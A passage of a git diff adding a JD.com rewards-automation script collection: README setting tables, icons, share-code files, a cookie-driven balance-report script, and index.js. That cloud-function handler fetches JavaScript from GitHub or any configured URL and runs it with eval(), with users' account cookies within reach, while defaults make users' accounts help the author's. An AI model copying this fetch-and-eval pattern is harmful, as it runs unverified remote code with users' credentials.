购买joy等级 | 非必须 | 疯狂的JOY自动购买什么等级的JOY | +| `MONEY_TREE_SELL_FRUIT` | 摇钱树
是否卖出金果 | 非必须 | 控制摇钱树脚本是否自动卖出金果兑换成金币,`true`卖出,`false`不卖出,默认`false` | +| `FACTORAY_WANTPRODUCT_NAME` | 东东工厂
心仪商品 | 非必须 | 提供心仪商品名称(请尽量填写完整和别的商品有区分度),达到条件后兑换,
如不提供则会兑换当前所选商品 | +| `DREAMFACTORY_FORBID_ACCOUNT`| 京喜工厂
控制哪个京东账号不运行此脚本 | 非必须 | 输入`1`代表第一个京东账号不运行,多个使用`&`连接,例:`1&3`代表账号1和账号3不运行京喜工厂脚本,注:输入`0`,代表全部账号不运行京喜工厂脚本 | +| `JDFACTORY_FORBID_ACCOUNT`| 东东工厂
控制哪个京东账号不运行此脚本 | 非必须 | 输入`1`代表第一个京东账号不运行,多个使用`&`连接,例:`1&3`代表账号1和账号3不运行东东工厂脚本,注:输入`0`,代表全部账号不运行东东工厂脚本 | +| `CFD_NOTIFY_CONTROL` | 京喜财富岛
控制是否运行脚本后通知 | 非必须 | 输入`true`为通知,不填则为不通知 | +| `JXNC_NOTIFY_LEVEL` | 京喜农场通知控制
推送开关,默认1 | 非必须 | 通知级别 0=只通知成熟;1=本次获得水滴>0;2=任务执行;3=任务执行+未种植种子 | +| `PURCHASE_SHOPS` | 执行`lxk0301/jd_scripts`仓库的脚本是否做加物品至购物车任务。默认关闭不做加购物车任务 | 非必须 | 如需做此类型任务。请设置`true`,目前东东小窝(jd_small_home.js)脚本会有加购任务 | +| `TUAN_ACTIVEID` | 京喜工厂拼团瓜分电力活动的`activeId`
默认读取作者设置的 | 非必须 | 如出现脚本开团提示失败:`活动已结束,请稍后再试~`,可自行抓包替换(开启抓包,进入拼团瓜分电力页面,寻找带有`tuan`的链接里面的`activeId=`) | +| `HELP_AUTHOR` | 是否给作者助力 免费拿,极速版拆红包,省钱大赢家等活动.
默认是 | 非必须 | 填`false`可关闭此助力 | + + +##### 互助码的填写规则 + + > 互助码如何获取:长期活动可在jd_get_share_code.js里面查找,短期活动需运行相应脚本后,在日志里面可以找到。 + +同一个京东账号的好友互助码用@隔开,不同京东账号互助码用&或者换行隔开,下面给一个文字示例和具体互助码示例说明 + +两个账号各两个互助码的文字示例: + + ``` +京东账号1的shareCode1@京东账号1的shareCode2&京东账号2的shareCode1@京东账号2的shareCode2 + ``` + + 两个账号各两个互助码的真实示例: + ``` +0a74407df5df4fa99672a037eec61f7e@dbb21614667246fabcfd9685b6f448f3&6fbd26cc27ac44d6a7fed34092453f77@61ff5c624949454aa88561f2cd721bf6&6fbd26cc27ac44d6a7fed34092453f77@61ff5c624949454aa88561f2cd721bf6 + ``` + + + +#### 取关店铺环境变量的说明 + + > 环境变量内容的意思依次是`是否取关全部商品(0表示一个都不)`,`是否取关全部店铺数(0表示一个都不)`,`遇到此商品不再进行取关`,`遇到此店铺不再进行取关` + +例如1:不要取关任何商品和店铺,则输入`0&0` +例如2:我想商品遇到关键字 `iPhone12` 停止取关,店铺遇到 `Apple京东自营旗舰店` 不再取关,则输入`10&10&iPhone12&Apple京东自营旗舰店`(前面两个参数非0即可) + +#### 关于脚本推送通知频率 + + > 如果你填写了推送通知方式中的某一种通知所需环境变量,那么脚本通知情况如下: + + > 目前默认只有jd_fruit.js,jd_pet.js,jd_bean_sign.js,jd_bean_change.js,jd_jxnc.js这些脚本(默认)每次运行后都通知 + + ``` +其余的脚本平常运行都是不通知,只有在京东cookie失效以及达到部分条件后,才会推送通知 + ``` + diff --git a/icon/DD_bot.png b/icon/DD_bot.png new file mode 100644 index 0000000..d3cdc58 Binary files /dev/null and b/icon/DD_bot.png differ diff --git a/icon/Snipaste_2020-08-28_09-31-42.png b/icon/Snipaste_2020-08-28_09-31-42.png new file mode 100644 index 0000000..073f989 Binary files /dev/null and b/icon/Snipaste_2020-08-28_09-31-42.png differ diff --git a/icon/TG_PUSH1.png b/icon/TG_PUSH1.png new file mode 100644 index 0000000..0e2c8a1 Binary files /dev/null and b/icon/TG_PUSH1.png differ diff --git a/icon/TG_PUSH2.png b/icon/TG_PUSH2.png new file mode 100644 index 0000000..429d784 Binary files /dev/null and b/icon/TG_PUSH2.png differ diff --git a/icon/TG_PUSH3.png b/icon/TG_PUSH3.png new file mode 100644 index 0000000..e213067 Binary files /dev/null and b/icon/TG_PUSH3.png differ diff --git a/icon/action1.png b/icon/action1.png new file mode 100644 index 0000000..ca1ab73 Binary files /dev/null and b/icon/action1.png differ diff --git a/icon/action2.png b/icon/action2.png new file mode 100644 index 0000000..7874958 Binary files /dev/null and b/icon/action2.png differ diff --git a/icon/action3.png b/icon/action3.png new file mode 100644 index 0000000..32b2db3 Binary files /dev/null and b/icon/action3.png differ diff --git a/icon/bark.jpg b/icon/bark.jpg new file mode 100644 index 0000000..0cbdadf Binary files /dev/null and b/icon/bark.jpg differ diff --git a/icon/bean_sign_simple.jpg b/icon/bean_sign_simple.jpg new file mode 100644 index 0000000..1c01c7c Binary files /dev/null and b/icon/bean_sign_simple.jpg differ diff --git a/icon/disable-action.jpg b/icon/disable-action.jpg new file mode 100644 index 0000000..9310908 Binary files /dev/null and b/icon/disable-action.jpg differ diff --git a/icon/fork.png b/icon/fork.png new file mode 100644 index 0000000..46b5b72 Binary files /dev/null and b/icon/fork.png differ diff --git a/icon/git1.jpg b/icon/git1.jpg new file mode 100644 index 0000000..aeaf461 Binary files /dev/null and b/icon/git1.jpg differ diff --git a/icon/git10.jpg b/icon/git10.jpg new file mode 100644 index 0000000..d0dd7d8 Binary files /dev/null and b/icon/git10.jpg differ diff --git a/icon/git11.jpg b/icon/git11.jpg new file mode 100644 index 0000000..313c456 Binary files /dev/null and b/icon/git11.jpg differ diff --git a/icon/git12.jpg b/icon/git12.jpg new file mode 100644 index 0000000..e880919 Binary files /dev/null and b/icon/git12.jpg differ diff --git a/icon/git13.jpg b/icon/git13.jpg new file mode 100644 index 0000000..65c0f69 Binary files /dev/null and b/icon/git13.jpg differ diff --git a/icon/git14.jpg b/icon/git14.jpg new file mode 100644 index 0000000..bd7f377 Binary files /dev/null and b/icon/git14.jpg differ diff --git a/icon/git2.jpg b/icon/git2.jpg new file mode 100644 index 0000000..7cb7642 Binary files /dev/null and b/icon/git2.jpg differ diff --git a/icon/git3.jpg b/icon/git3.jpg new file mode 100644 index 0000000..603c79c Binary files /dev/null and b/icon/git3.jpg differ diff --git a/icon/git4.jpg b/icon/git4.jpg new file mode 100644 index 0000000..ae2f427 Binary files /dev/null and b/icon/git4.jpg differ diff --git a/icon/git5.jpg b/icon/git5.jpg new file mode 100644 index 0000000..3bfa3fa Binary files /dev/null and b/icon/git5.jpg differ diff --git a/icon/git6.jpg b/icon/git6.jpg new file mode 100644 index 0000000..8bf8551 Binary files /dev/null and b/icon/git6.jpg differ diff --git a/icon/git7.png b/icon/git7.png new file mode 100644 index 0000000..d40f2c0 Binary files /dev/null and b/icon/git7.png differ diff --git a/icon/git8.jpg b/icon/git8.jpg new file mode 100644 index 0000000..db30fa4 Binary files /dev/null and b/icon/git8.jpg differ diff --git a/icon/git9.jpg b/icon/git9.jpg new file mode 100644 index 0000000..e44757e Binary files /dev/null and b/icon/git9.jpg differ diff --git a/icon/iCloud1.png b/icon/iCloud1.png new file mode 100644 index 0000000..669ac59 Binary files /dev/null and b/icon/iCloud1.png differ diff --git a/icon/iCloud2.png b/icon/iCloud2.png new file mode 100644 index 0000000..fae4485 Binary files /dev/null and b/icon/iCloud2.png differ diff --git a/icon/iCloud3.png b/icon/iCloud3.png new file mode 100644 index 0000000..dcb6b0d Binary files /dev/null and b/icon/iCloud3.png differ diff --git a/icon/iCloud4.png b/icon/iCloud4.png new file mode 100644 index 0000000..41e852b Binary files /dev/null and b/icon/iCloud4.png differ diff --git a/icon/iCloud5.png b/icon/iCloud5.png new file mode 100644 index 0000000..d565183 Binary files /dev/null and b/icon/iCloud5.png differ diff --git a/icon/iCloud6.png b/icon/iCloud6.png new file mode 100644 index 0000000..8210a7f Binary files /dev/null and b/icon/iCloud6.png differ diff --git a/icon/iCloud7.png b/icon/iCloud7.png new file mode 100644 index 0000000..6fd538b Binary files /dev/null and b/icon/iCloud7.png differ diff --git a/icon/iCloud8.png b/icon/iCloud8.png new file mode 100644 index 0000000..3f0d05e Binary files /dev/null and b/icon/iCloud8.png differ diff --git a/icon/jd1.jpg b/icon/jd1.jpg new file mode 100644 index 0000000..33a9f8f Binary files /dev/null and b/icon/jd1.jpg differ diff --git a/icon/jd2.jpg b/icon/jd2.jpg new file mode 100644 index 0000000..cd6f839 Binary files /dev/null and b/icon/jd2.jpg differ diff --git a/icon/jd3.jpg b/icon/jd3.jpg new file mode 100644 index 0000000..264ea71 Binary files /dev/null and b/icon/jd3.jpg differ diff --git a/icon/jd4.jpg b/icon/jd4.jpg new file mode 100644 index 0000000..7f6f4c8 Binary files /dev/null and b/icon/jd4.jpg differ diff --git a/icon/jd5.png b/icon/jd5.png new file mode 100644 index 0000000..f797266 Binary files /dev/null and b/icon/jd5.png differ diff --git a/icon/jd6.png b/icon/jd6.png new file mode 100644 index 0000000..a49b69d Binary files /dev/null and b/icon/jd6.png differ diff --git a/icon/jd7.png b/icon/jd7.png new file mode 100644 index 0000000..d05a36c Binary files /dev/null and b/icon/jd7.png differ diff --git a/icon/jd8.png b/icon/jd8.png new file mode 100644 index 0000000..d763579 Binary files /dev/null and b/icon/jd8.png differ diff --git a/icon/jd_moneyTree.png b/icon/jd_moneyTree.png new file mode 100644 index 0000000..69024fa Binary files /dev/null and b/icon/jd_moneyTree.png differ diff --git a/icon/jd_pet.png b/icon/jd_pet.png new file mode 100644 index 0000000..bb231e4 Binary files /dev/null and b/icon/jd_pet.png differ diff --git a/icon/qh1.png b/icon/qh1.png new file mode 100644 index 0000000..56bc389 Binary files /dev/null and b/icon/qh1.png differ diff --git a/icon/qh2.png b/icon/qh2.png new file mode 100644 index 0000000..1f337ad Binary files /dev/null and b/icon/qh2.png differ diff --git a/icon/qh3.png b/icon/qh3.png new file mode 100644 index 0000000..d0b63d1 Binary files /dev/null and b/icon/qh3.png differ diff --git a/icon/txy.png b/icon/txy.png new file mode 100644 index 0000000..2c58d39 Binary files /dev/null and b/icon/txy.png differ diff --git a/index.js b/index.js new file mode 100644 index 0000000..525cdf8 --- /dev/null +++ b/index.js @@ -0,0 +1,40 @@ +//'use strict'; +exports.main_handler = async (event, context, callback) => { + try { + const { TENCENTSCF_SOURCE_TYPE, TENCENTSCF_SOURCE_URL } = process.env + //如果想在一个定时触发器里面执行多个js文件需要在定时触发器的【附加信息】里面填写对应的名称,用 & 链接 + //例如我想一个定时触发器里执行jd_speed.js和jd_bean_change.js,在定时触发器的【附加信息】里面就填写 jd_speed&jd_bean_change + for (const v of event["Message"].split("&")) { + console.log(v); + var request = require('request'); + switch (TENCENTSCF_SOURCE_TYPE) { + case 'local': + //1.执行自己上传的js文件 + delete require.cache[require.resolve('./'+v+'.js')]; + require('./'+v+'.js') + break; + case 'git': + //2.执行github远端的js文件(因github的raw类型的文件被墙,此方法云函数不推荐) + request(`https://raw.githubusercontent.com/xxx/jd_scripts/master/${v}.js`, function (error, response, body) { + eval(response.body) + }) + break; + case 'custom': + //3.执行自定义远端js文件网址 + if (!TENCENTSCF_SOURCE_URL) return console.log('自定义模式需要设置TENCENTSCF_SOURCE_URL变量') + request(`${TENCENTSCF_SOURCE_URL}${v}.js`, function (error, response, body) { + eval(response.body) + }) + break; + default: + //4.执行国内gitee远端的js文件(如果部署在国内节点,选择1或3。默认使用gitee的方式) + request(`${v}.js`, function (error, response, body) { + eval(response.body) + }) + break; + } + } + } catch (e) { + console.error(e) + } +} diff --git a/jdDreamFactoryShareCodes.js b/jdDreamFactoryShareCodes.js new file mode 100644 index 0000000..7f0bc1b --- /dev/null +++ b/jdDreamFactoryShareCodes.js @@ -0,0 +1,37 @@ +/* +京喜工厂互助码 +此文件为Node.js专用。其他用户请忽略 +支持京东N个账号 + */ +//云服务器腾讯云函数等NOde.js用户在此处填写东东萌宠的好友码。 +// 同一个京东账号的好友互助码用@符号隔开,不同京东账号之间用&符号或者换行隔开,下面给一个示例 +// 如: 京东账号1的shareCode1@京东账号1的shareCode2&京东账号2的shareCode1@京东账号2的shareCode2 +let shareCodes = [ + 'V5LkjP4WRyjeCKR9VRwcRX0bBuTz7MEK0-E99EJ7u0k=@Bo-jnVs_m9uBvbRzraXcSA==@-OvElMzqeyeGBWazWYjI1Q==',//账号一的好友shareCode,不同好友中间用@符号隔开 + '-OvElMzqeyeGBWazWYjI1Q==',//账号二的好友shareCode,不同好友中间用@符号隔开 +] + +// 从日志获取互助码 +// const logShareCodes = require('./utils/jdShareCodes'); +// if (logShareCodes.DREAM_FACTORY_SHARE_CODES.length > 0 && !process.env.DREAM_FACTORY_SHARE_CODES) { +// process.env.DREAM_FACTORY_SHARE_CODES = logShareCodes.DREAM_FACTORY_SHARE_CODES.join('&'); +// } + +// 判断环境变量里面是否有京喜工厂互助码 +if (process.env.DREAM_FACTORY_SHARE_CODES) { + if (process.env.DREAM_FACTORY_SHARE_CODES.indexOf('&') > -1) { + console.log(`您的互助码选择的是用&隔开\n`) + shareCodes = process.env.DREAM_FACTORY_SHARE_CODES.split('&'); + } else if (process.env.DREAM_FACTORY_SHARE_CODES.indexOf('\n') > -1) { + console.log(`您的互助码选择的是用换行隔开\n`) + shareCodes = process.env.DREAM_FACTORY_SHARE_CODES.split('\n'); + } else { + shareCodes = process.env.DREAM_FACTORY_SHARE_CODES.split(); + } +} else { + console.log(`由于您环境变量(DREAM_FACTORY_SHARE_CODES)里面未提供助力码,故此处运行将会给脚本内置的码进行助力,请知晓!`) +} +for (let i = 0; i < shareCodes.length; i++) { + const index = (i + 1 === 1) ? '' : (i + 1); + exports['shareCodes' + index] = shareCodes[i]; +} diff --git a/jdFactoryShareCodes.js b/jdFactoryShareCodes.js new file mode 100644 index 0000000..c45eb2a --- /dev/null +++ b/jdFactoryShareCodes.js @@ -0,0 +1,37 @@ +/* +东东工厂互助码 +此文件为Node.js专用。其他用户请忽略 +支持京东N个账号 + */ +//云服务器腾讯云函数等NOde.js用户在此处填写东东萌宠的好友码。 +// 同一个京东账号的好友互助码用@符号隔开,不同京东账号之间用&符号或者换行隔开,下面给一个示例 +// 如: 京东账号1的shareCode1@京东账号1的shareCode2&京东账号2的shareCode1@京东账号2的shareCode2 +let shareCodes = [ + '',//账号一的好友shareCode,不同好友中间用@符号隔开 + '',//账号二的好友shareCode,不同好友中间用@符号隔开 +] + +// 从日志获取互助码 +// const logShareCodes = require('./utils/jdShareCodes'); +// if (logShareCodes.DDFACTORY_SHARECODES.length > 0 && !process.env.DDFACTORY_SHARECODES) { +// process.env.DDFACTORY_SHARECODES = logShareCodes.DDFACTORY_SHARECODES.join('&'); +// } + +// 判断环境变量里面是否有东东工厂互助码 +if (process.env.DDFACTORY_SHARECODES) { + if (process.env.DDFACTORY_SHARECODES.indexOf('&') > -1) { + console.log(`您的互助码选择的是用&隔开\n`) + shareCodes = process.env.DDFACTORY_SHARECODES.split('&'); + } else if (process.env.DDFACTORY_SHARECODES.indexOf('\n') > -1) { + console.log(`您的互助码选择的是用换行隔开\n`) + shareCodes = process.env.DDFACTORY_SHARECODES.split('\n'); + } else { + shareCodes = process.env.DDFACTORY_SHARECODES.split(); + } +} else { + console.log(`由于您环境变量(DDFACTORY_SHARECODES)里面未提供助力码,故此处运行将会给脚本内置的码进行助力,请知晓!`) +} +for (let i = 0; i < shareCodes.length; i++) { + const index = (i + 1 === 1) ? '' : (i + 1); + exports['shareCodes' + index] = shareCodes[i]; +} \ No newline at end of file diff --git a/jdFruitShareCodes.js b/jdFruitShareCodes.js new file mode 100644 index 0000000..d07188d --- /dev/null +++ b/jdFruitShareCodes.js @@ -0,0 +1,37 @@ +/* +东东农场互助码 +此文件为Node.js专用。其他用户请忽略 +支持京东N个账号 + */ +//云服务器腾讯云函数等NOde.js用户在此处填写京东东农场的好友码。 +// 同一个京东账号的好友互助码用@符号隔开,不同京东账号之间用&符号或者换行隔开,下面给一个示例 +// 如: 京东账号1的shareCode1@京东账号1的shareCode2&京东账号2的shareCode1@京东账号2的shareCode2 +let FruitShareCodes = [ + '0a74407df5df4fa99672a037eec61f7e@dbb21614667246fabcfd9685b6f448f3@6fbd26cc27ac44d6a7fed34092453f77@61ff5c624949454aa88561f2cd721bf6@56db8e7bc5874668ba7d5195230d067a',//账号一的好友shareCode,不同好友中间用@符号隔开 + '6fbd26cc27ac44d6a7fed34092453f77@61ff5c624949454aa88561f2cd721bf6@9c52670d52ad4e1a812f894563c746ea@8175509d82504e96828afc8b1bbb9cb3',//账号二的好友shareCode,不同好友中间用@符号隔开 +] + +// 从日志获取互助码 +// const logShareCodes = require('./utils/jdShareCodes'); +// if (logShareCodes.FRUITSHARECODES.length > 0 && !process.env.FRUITSHARECODES) { +// process.env.FRUITSHARECODES = logShareCodes.FRUITSHARECODES.join('&'); +// } + +// 判断github action里面是否有东东农场互助码 +if (process.env.FRUITSHARECODES) { + if (process.env.FRUITSHARECODES.indexOf('&') > -1) { + console.log(`您的东东农场互助码选择的是用&隔开\n`) + FruitShareCodes = process.env.FRUITSHARECODES.split('&'); + } else if (process.env.FRUITSHARECODES.indexOf('\n') > -1) { + console.log(`您的东东农场互助码选择的是用换行隔开\n`) + FruitShareCodes = process.env.FRUITSHARECODES.split('\n'); + } else { + FruitShareCodes = process.env.FRUITSHARECODES.split(); + } +} else { + console.log(`由于您环境变量(FRUITSHARECODES)里面未提供助力码,故此处运行将会给脚本内置的码进行助力,请知晓!`) +} +for (let i = 0; i < FruitShareCodes.length; i++) { + const index = (i + 1 === 1) ? '' : (i + 1); + exports['FruitShareCode' + index] = FruitShareCodes[i]; +} diff --git a/jdJxncShareCodes.js b/jdJxncShareCodes.js new file mode 100644 index 0000000..8c8a25f --- /dev/null +++ b/jdJxncShareCodes.js @@ -0,0 +1,37 @@ +/* +京喜农场助力码 +此助力码要求种子 active 相同才能助力,多个账号的话可以种植同样的种子,如果种子不同的话,会自动跳过使用云端助力 +此文件为Node.js专用。其他用户请忽略 +支持京东N个账号 + */ +//云服务器腾讯云函数等NOde.js用户在此处填写京京喜农场的好友码。 +// 同一个京东账号的好友助力码用@符号隔开,不同京东账号之间用&符号或者换行隔开,下面给一个示例 +// 如: 京东账号1的shareCode1@京东账号1的shareCode2&京东账号2的shareCode1@京东账号2的shareCode2 +// 注意:京喜农场 种植种子发生变化的时候,互助码也会变!! +// 注意:京喜农场 种植种子发生变化的时候,互助码也会变!! +// 注意:京喜农场 种植种子发生变化的时候,互助码也会变!! +// 每个账号 shareCdoe 是一个 json,示例如下 +// {"smp":"22bdadsfaadsfadse8a","active":"jdnc_1_btorange210113_2","joinnum":"1"} +let JxncShareCodes = [ + '',//账号一的好友shareCode,不同好友中间用@符号隔开 + '',//账号二的好友shareCode,不同好友中间用@符号隔开 +] +// 判断github action里面是否有京喜农场助力码 +if (process.env.JXNC_SHARECODES) { + if (process.env.JXNC_SHARECODES.indexOf('&') > -1) { + console.log(`您的京喜农场助力码选择的是用&隔开\n`) + JxncShareCodes = process.env.JXNC_SHARECODES.split('&'); + } else if (process.env.JXNC_SHARECODES.indexOf('\n') > -1) { + console.log(`您的京喜农场助力码选择的是用换行隔开\n`) + JxncShareCodes = process.env.JXNC_SHARECODES.split('\n'); + } else { + JxncShareCodes = process.env.JXNC_SHARECODES.split(); + } +} else { + console.log(`由于您环境变量里面(JXNC_SHARECODES)未提供助力码,故此处运行将会给脚本内置的码进行助力,请知晓!`) +} +JxncShareCodes = JxncShareCodes.filter(item => !!item); +for (let i = 0; i < JxncShareCodes.length; i++) { + const index = (i + 1 === 1) ? '' : (i + 1); + exports['JxncShareCode' + index] = JxncShareCodes[i]; +} diff --git a/jdPetShareCodes.js b/jdPetShareCodes.js new file mode 100644 index 0000000..a7c4422 --- /dev/null +++ b/jdPetShareCodes.js @@ -0,0 +1,37 @@ +/* +东东萌宠互助码 +此文件为Node.js专用。其他用户请忽略 +支持京东N个账号 + */ +//云服务器腾讯云函数等NOde.js用户在此处填写东东萌宠的好友码。 +// 同一个京东账号的好友互助码用@符号隔开,不同京东账号之间用&符号或者换行隔开,下面给一个示例 +// 如: 京东账号1的shareCode1@京东账号1的shareCode2&京东账号2的shareCode1@京东账号2的shareCode2 +let PetShareCodes = [ + 'MTAxODc2NTEzNTAwMDAwMDAwMjg3MDg2MA==@MTAxODc2NTEzMzAwMDAwMDAyNzUwMDA4MQ==@MTAxODc2NTEzMjAwMDAwMDAzMDI3MTMyOQ==@MTAxODc2NTEzNDAwMDAwMDAzMDI2MDI4MQ==',//账号一的好友shareCode,不同好友中间用@符号隔开 + 'MTAxODc2NTEzMjAwMDAwMDAzMDI3MTMyOQ==@MTAxODcxOTI2NTAwMDAwMDAyNjA4ODQyMQ==@MTAxODc2NTEzOTAwMDAwMDAyNzE2MDY2NQ==',//账号二的好友shareCode,不同好友中间用@符号隔开 +] + +// 从日志获取互助码 +// const logShareCodes = require('./utils/jdShareCodes'); +// if (logShareCodes.PETSHARECODES.length > 0 && !process.env.PETSHARECODES) { +// process.env.PETSHARECODES = logShareCodes.PETSHARECODES.join('&'); +// } + +// 判断github action里面是否有东东萌宠互助码 +if (process.env.PETSHARECODES) { + if (process.env.PETSHARECODES.indexOf('&') > -1) { + console.log(`您的东东萌宠互助码选择的是用&隔开\n`) + PetShareCodes = process.env.PETSHARECODES.split('&'); + } else if (process.env.PETSHARECODES.indexOf('\n') > -1) { + console.log(`您的东东萌宠互助码选择的是用换行隔开\n`) + PetShareCodes = process.env.PETSHARECODES.split('\n'); + } else { + PetShareCodes = process.env.PETSHARECODES.split(); + } +} else { + console.log(`由于您环境变量(PETSHARECODES)里面未提供助力码,故此处运行将会给脚本内置的码进行助力,请知晓!`) +} +for (let i = 0; i < PetShareCodes.length; i++) { + const index = (i + 1 === 1) ? '' : (i + 1); + exports['PetShareCode' + index] = PetShareCodes[i]; +} \ No newline at end of file diff --git a/jdPlantBeanShareCodes.js b/jdPlantBeanShareCodes.js new file mode 100644 index 0000000..fff431b --- /dev/null +++ b/jdPlantBeanShareCodes.js @@ -0,0 +1,37 @@ +/* +京东种豆得豆互助码 +此文件为Node.js专用。其他用户请忽略 +支持京东N个账号 + */ +//云服务器腾讯云函数等NOde.js用户在此处填写东东萌宠的好友码。 +// 同一个京东账号的好友互助码用@符号隔开,不同京东账号之间用&符号或者换行隔开,下面给一个示例 +// 如: 京东账号1的shareCode1@京东账号1的shareCode2&京东账号2的shareCode1@京东账号2的shareCode2 +let PlantBeanShareCodes = [ + '66j4yt3ebl5ierjljoszp7e4izzbzaqhi5k2unz2afwlyqsgnasq@olmijoxgmjutyrsovl2xalt2tbtfmg6sqldcb3q@e7lhibzb3zek27amgsvywffxx7hxgtzstrk2lba@olmijoxgmjutyx55upqaqxrblt7f3h26dgj2riy',//账号一的好友shareCode,不同好友中间用@符号隔开 + 'mlrdw3aw26j3wgzjipsxgonaoyr2evrdsifsziy@mlrdw3aw26j3wgzjipsxgonaoyr2evrdsifsziy',//账号二的好友shareCode,不同好友中间用@符号隔开 +] + +// 从日志获取互助码 +// const logShareCodes = require('./utils/jdShareCodes'); +// if (logShareCodes.PLANT_BEAN_SHARECODES.length > 0 && !process.env.PLANT_BEAN_SHARECODES) { +// process.env.PLANT_BEAN_SHARECODES = logShareCodes.PLANT_BEAN_SHARECODES.join('&'); +// } + +// 判断github action里面是否有种豆得豆互助码 +if (process.env.PLANT_BEAN_SHARECODES) { + if (process.env.PLANT_BEAN_SHARECODES.indexOf('&') > -1) { + console.log(`您的种豆互助码选择的是用&隔开\n`) + PlantBeanShareCodes = process.env.PLANT_BEAN_SHARECODES.split('&'); + } else if (process.env.PLANT_BEAN_SHARECODES.indexOf('\n') > -1) { + console.log(`您的种豆互助码选择的是用换行隔开\n`) + PlantBeanShareCodes = process.env.PLANT_BEAN_SHARECODES.split('\n'); + } else { + PlantBeanShareCodes = process.env.PLANT_BEAN_SHARECODES.split(); + } +} else { + console.log(`由于您环境变量(PLANT_BEAN_SHARECODES)里面未提供助力码,故此处运行将会给脚本内置的码进行助力,请知晓!`) +} +for (let i = 0; i < PlantBeanShareCodes.length; i++) { + const index = (i + 1 === 1) ? '' : (i + 1); + exports['PlantBeanShareCodes' + index] = PlantBeanShareCodes[i]; +} diff --git a/jd_bean_change.js b/jd_bean_change.js new file mode 100644 index 0000000..5ea02fa --- /dev/null +++ b/jd_bean_change.js @@ -0,0 +1,367 @@ +/* +京东资产变动通知脚本:jd_bean_change.js +Modified time: 2021-06-9 15:25:41 +统计昨日京豆的变化情况,包括收入,支出,以及显示当前京豆数量,目前小问题:下单使用京豆后,退款重新购买,计算统计会出现异常 +统计红包以及过期红包 +网页查看地址 : https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean +支持京东双账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============QuantumultX============== +[task_local] +#京东资产变动通知 +2 9 * * * jd_bean_change.js, tag=京东资产变动通知, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true +================Loon=============== +[Script] +cron "2 9 * * *" script-path=jd_bean_change.js, tag=京东资产变动通知 +=============Surge=========== +[Script] +京东资产变动通知 = type=cron,cronexp="2 9 * * *",wake-system=1,timeout=3600,script-path=jd_bean_change.js + +============小火箭========= +京东资产变动通知 = type=cron,script-path=jd_bean_change.js, cronexpr="2 9 * * *", timeout=3600, enable=true + */ +const $ = new Env('京东资产变动通知'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let allMessage = ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.beanCount = 0; + $.incomeBean = 0; + $.expenseBean = 0; + $.todayIncomeBean = 0; + $.errorMsg = ''; + $.isLogin = true; + $.nickName = ''; + $.message = ''; + $.balance = 0; + $.expiredBalance = 0; + await TotalBean(); + console.log(`\n********开始【京东账号${$.index}】${$.nickName || $.UserName}******\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await bean(); + await showMsg(); + } + } + + if ($.isNode() && allMessage) { + await notify.sendNotify(`${$.name}`, `${allMessage}`, { url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` }) + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function showMsg() { + if ($.errorMsg) return + allMessage += `账号${$.index}:${$.nickName || $.UserName}\n今日收入:${$.todayIncomeBean}京豆 🐶\n昨日收入:${$.incomeBean}京豆 🐶\n昨日支出:${$.expenseBean}京豆 🐶\n当前京豆:${$.beanCount}(今日将过期${$.expirejingdou})京豆 🐶${$.message}${$.index !== cookiesArr.length ? '\n\n' : ''}`; + // if ($.isNode()) { + // await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `账号${$.index}:${$.nickName || $.UserName}\n昨日收入:${$.incomeBean}京豆 🐶\n昨日支出:${$.expenseBean}京豆 🐶\n当前京豆:${$.beanCount}京豆 🐶${$.message}`, { url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` }) + // } + $.msg($.name, '', `账号${$.index}:${$.nickName || $.UserName}\n今日收入:${$.todayIncomeBean}京豆 🐶\n昨日收入:${$.incomeBean}京豆 🐶\n昨日支出:${$.expenseBean}京豆 🐶\n当前京豆:${$.beanCount}(今日将过期${$.expirejingdou})京豆🐶${$.message}`, {"open-url": "https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean"}); +} +async function bean() { + // console.log(`北京时间零点时间戳:${parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000}`); + // console.log(`北京时间2020-10-28 06:16:05::${new Date("2020/10/28 06:16:05+08:00").getTime()}`) + // 不管哪个时区。得到都是当前时刻北京时间的时间戳 new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000 + + //前一天的0:0:0时间戳 + const tm = parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000 - (24 * 60 * 60 * 1000); + // 今天0:0:0时间戳 + const tm1 = parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000; + let page = 1, t = 0, yesterdayArr = [], todayArr = []; + do { + let response = await getJingBeanBalanceDetail(page); + // 